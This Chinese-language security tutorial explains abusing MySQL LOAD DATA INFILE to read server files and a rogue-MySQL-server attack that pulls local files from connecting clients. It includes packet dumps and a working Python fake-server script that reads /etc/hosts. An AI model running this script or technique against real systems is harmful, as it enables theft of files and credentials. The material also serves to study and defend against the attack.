嘿,如果你能登陆对方的mysql服务器,却发现对方的数据库上没有什么重要数据怎么办?尝试通过MySQL LOAD DATA INFILE 特性来读取文件吧!
LOAD DATA INFILE 语句从一个文本文件中以很高的速度读入一个表中。如果指定LOCAL关键词,从客户主机读文件。如果LOCAL没指定,文件必须位于服务器上。语法如下:
LOAD DATA [LOW_PRIORITY | CONCURRENT] [LOCAL] INFILE 'file_name'
[REPLACE | IGNORE]
INTO TABLE tbl_name
[PARTITION (partition_name,...)]
[CHARACTER SET charset_name]
[{FIELDS | COLUMNS}
[TERMINATED BY 'string']
[[OPTIONALLY] ENCLOSED BY 'char']
[ESCAPED BY 'char']
]
[LINES
[STARTING BY 'string']
[TERMINATED BY 'string']
]
[IGNORE number {LINES | ROWS}]
[(col_name_or_user_var,...)]
[SET col_name = expr,...]
但我们用到的语句大致如下:
load data infile 'file_name' into table table_name fields terminated by '分隔符'
本地测试一下语句,环境如下:
服务器:mysql 5.5.53,Windows系统,IP-192.168.246.1
客户端:Kali,IP-192.168.246.137
从本地服务器导入数据
# test.txt内容
"3","pwd3"
"4","pwd4"
# load data infile命令
load data infile 'D:/Equipment/phpstudy/MySQL/test.txt' into table user fields terminated by ',';
从客户端导入数据
# /root/Document/test.txt 内容
"1","pwd1"
"2","pwd2"
mysql -h 192.168.246.1 -u root -p -D test -e "load data local infile '/root/Documents/test.txt' into table user fields terminated by ',';"
回到我的本机(IP: 192.168.246.1)看一下添加数据成功没有
MySQL [test]> select * from user;
+------+--------+
| name | passwd |
+------+--------+
| "1" | "pwd1" |
| "2" | "pwd2" |
| "3" | "pwd3" |
| "4" | "pwd4" |
+------+--------+
4 rows in set (0.00 sec)
添加成功。
想要使用LOAD DATA INFILE,服务器配置必须启用该功能,你可以通过标志位来判断服务器是否启动了该功能(默认是启动的)。你也可以在连接时使用--enable-local-infile
来开启该功能。
使用wireshark抓包,在发出连接请求时,查看服务器回包中带有的FLAG 信息即可:
Can Use LOAD DATA LOCAL: Set
为了安全原因,当读取位于服务器上的文本文件时,文件必须处于数据库目录或可被所有人读取。你可以通过执行show variables like '%secure%'
来查看:
secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。
secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下,此时如果读写发生在其他文件夹,就会报告如下错误:
RROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
另外,为了读取服务器上文件,在服务器主机上你必须有file的权限。否则报错:
ERROR 1045 (28000): Access denied for user
如果上述限制都满足的话,我们可以尝试通过LOAD DATA来读取一些更有用的文件,变成任意文件读取漏洞!
尝试读取MySQL的配置文件my.ini
成功读取,我们从一个没什么用的数据库读到了更好更有用的信息!
让我们来深入的了解一下LOAD DATA INFILE 的工作原理。使用wireshark抓包:
客户端(即攻击者)连接mysql服务器3306端口
服务器发送问候包,包括协议线程ID,版本,mysql认证类型等。
客户端的下一个数据包是带有用户名,密码,数据库的认证包,以及LOAD DATA LOCAL选项的标志位
之后有一些包含客户端指定查询的数据包,如:“'show databases”',“'select @@ version_comment limit 1”'等
然后是我们的查询语句load data local infile '/etc/passwd' into table test.test fields terminated by '\n';
以及回包
这个数据包对连接的客户端说:“嘿!请阅读/etc/passwd 文件并发给我”
上述过程就是LOAD DATA INFILE 的整个过程。如果能执行LOAD DATA INFILE 导入服务器上的文件自然是最好的,但是有时候我们并不能执行LOAD DATA INFILE,我们只能执行LOAD DATA LOCAL INFILE,即导入我们本机上的文件,这是因为我们当前账户没有读取服务器本地文件的权限。所以我们转换思路,互换一下服务器和客户端的位置,让被攻击者作为客户端来连接我们的服务器,并使客户端执行LOAD DATA LOCAL INFILE语句,下面的利用方式就是如此
关于LOAD DATA INFILE 来读取文件的技术并不新鲜,以前就有了相关的帖子、工具和文章:
所以介绍一下从客户端读取文件的攻击流程:
攻击流程大致如上图:
攻击已经被写成了工具,工具将模拟一个假的MySQL服务器发送payload读取文件。
MySQL协议的一个特殊功能是客户端根本不跟踪请求的命令,完全基于服务器响应执行查询。所以模仿mysql服务器就变得简单,模拟初始握手,等待SQL语句包,然后忽略它,发出我们自己的LOAD DATA 的SQL语句等待响应。
为了成功利用,我们还需要客户端至少向我们的假服务器发出一次查询,这也很容易,还记得之前分析LOAD DATA INFILE时我们找到的查询版本信息的SQL包吗select @@version_comment
?并且客户端向服务器发出的任何请求,我们只需回答Auth OK
,就可以欺骗客户端,让客户端认为已经得到授权。
下面是从.pcap文件中得到的发包数据:
Auth OK:
0000 b0 35 9f 44 95 a3 08 00 27 19 f2 99 08 00 45 00 °5.D.£..'.ò...E.
0010 00 3f f9 5e 40 00 40 06 2c c0 0a 00 00 3d 0a 00 .?ù^@.@.,À...=..
0020 00 5e 0c ea ce 64 05 79 a6 55 f5 b2 1e 7b 80 18 .^.êÎd.y¦Uõ².{..
0030 00 eb fd 46 00 00 01 01 08 0a 00 b2 5c ab 1a 89 .ëýF.......²\«..
0040 49 a8 07 00 00 02 00 00 00 02 00 00 00 I¨...........
服务器问候:
0000 b0 35 9f 44 95 a3 08 00 27 19 f2 99 08 00 45 00 °5.D.£..'.ò...E.
0010 00 93 f9 5c 40 00 40 06 2c 6e 0a 00 00 3d 0a 00 ..ù\@.@.,n...=..
0020 00 5e 0c ea ce 64 05 79 a5 f6 f5 b2 1d d2 80 18 .^.êÎd.y¥öõ².Ò..
0030 00 e3 e6 34 00 00 01 01 08 0a 00 b2 5c aa 1a 89 .ãæ4.......²\ª..
0040 49 a5 5b 00 00 00 0a 35 2e 36 2e 32 38 2d 30 75 I¥[....5.6.28-0u
0050 62 75 6e 74 75 30 2e 31 34 2e 30 34 2e 31 00 2d buntu0.14.04.1.-
0060 00 00 00 40 3f 59 26 4b 2b 34 60 00 ff f7 08 02 ...@?Y&K+4`.ÿ÷..
0070 00 7f 80 15 00 00 00 00 00 00 00 00 00 00 68 69 ..............hi
0080 59 5f 52 5f 63 55 60 64 53 52 00 6d 79 73 71 6c Y_R_cU`dSR.mysql
0090 5f 6e 61 74 69 76 65 5f 70 61 73 73 77 6f 72 64 _native_password
00a0 00
请求/etc/passwd文件
0000 b0 35 9f 44 95 a3 08 00 27 19 f2 99 08 00 45 00 °5.D.£..'.ò...E.
0010 00 43 f9 5f 40 00 40 06 2c bb 0a 00 00 3d 0a 00 .Cù_@.@.,»...=..
0020 00 5e 0c ea ce 64 05 79 a6 60 f5 b2 1e a0 80 18 .^.êÎd.y¦`õ². ..
0030 00 eb e6 5c 00 00 01 01 08 0a 00 b2 5c ab 1a 89 .ëæ\.......²\«..
0040 49 a9 0b 00 00 01 fb 2f 65 74 63 2f 68 6f 73 74 I©....û/etc/host
0050 73
https://www.vesiluoma.com/abusing-mysql-clients/上给出个一个脚本:
#!/usr/bin/python
#coding: utf8
import socket
# linux :
filestring = "/etc/hosts"
# windows:
#filestring = "C:\\Windows\\system32\\drivers\\etc\\hosts"
HOST = "0.0.0.0" # open for eeeeveryone! ^_^
PORT = 3306
BUFFER_SIZE = 1024
#1 Greeting
greeting = "\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
#2 Accept all authentications
authok = "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
#3 Payload
payloadlen = "\x0b"
padding = "\x00\x00"
payload = payloadlen + padding + "\x0b\x00\x00\x01\xfb\x2f\x65\x74\x63\x2f\x68\x6f\x73\x74\x73"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1)
while True:
conn, addr = s.accept()
print 'Connection from:', addr
conn.send(greeting)
while True:
data = conn.recv(BUFFER_SIZE)
print " ".join("%02x" % ord(i) for i in data)
conn.send(authok)
data = conn.recv(BUFFER_SIZE)
conn.send(payload)
print "[*] Payload send!"
data = conn.recv(BUFFER_SIZE)
if not data: break
print "Data received:", data
break
# Don't leave the connection open.
conn.close()
你也可以使用Rogue-MySql-Server Tool 工具。
附攻击视频:
请注意:PHP有一些mysql客户端扩展,如mysql、mysqli、pdo,除了pdo外都可以被利用,因为pdo默认禁止读取本地数据,你需要通过设置PDO::MYSQL_ATTR_LOCAL_INFILE为true来启用本地数据读取。同样的,如果客户端使用的是python的MySQLdb,也需要先设置local_infile连接选项。
当然,上述攻击的用法远不止如此,从外国大佬的文章看来还有可以挖掘的地方,比如滥用Web框架来读取服务器文件:当Web用户尝试修改MySQL主机的表单并将其指向恶意服务器时,攻击者就能够读取文件
参考链接:
https://www.vesiluoma.com/abusing-mysql-clients/
https://w00tsec.blogspot.com/2018/04/abusing-mysql-local-infile-to-read.html
https://balsn.tw/ctf_writeup/20180324-volgactf/
http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/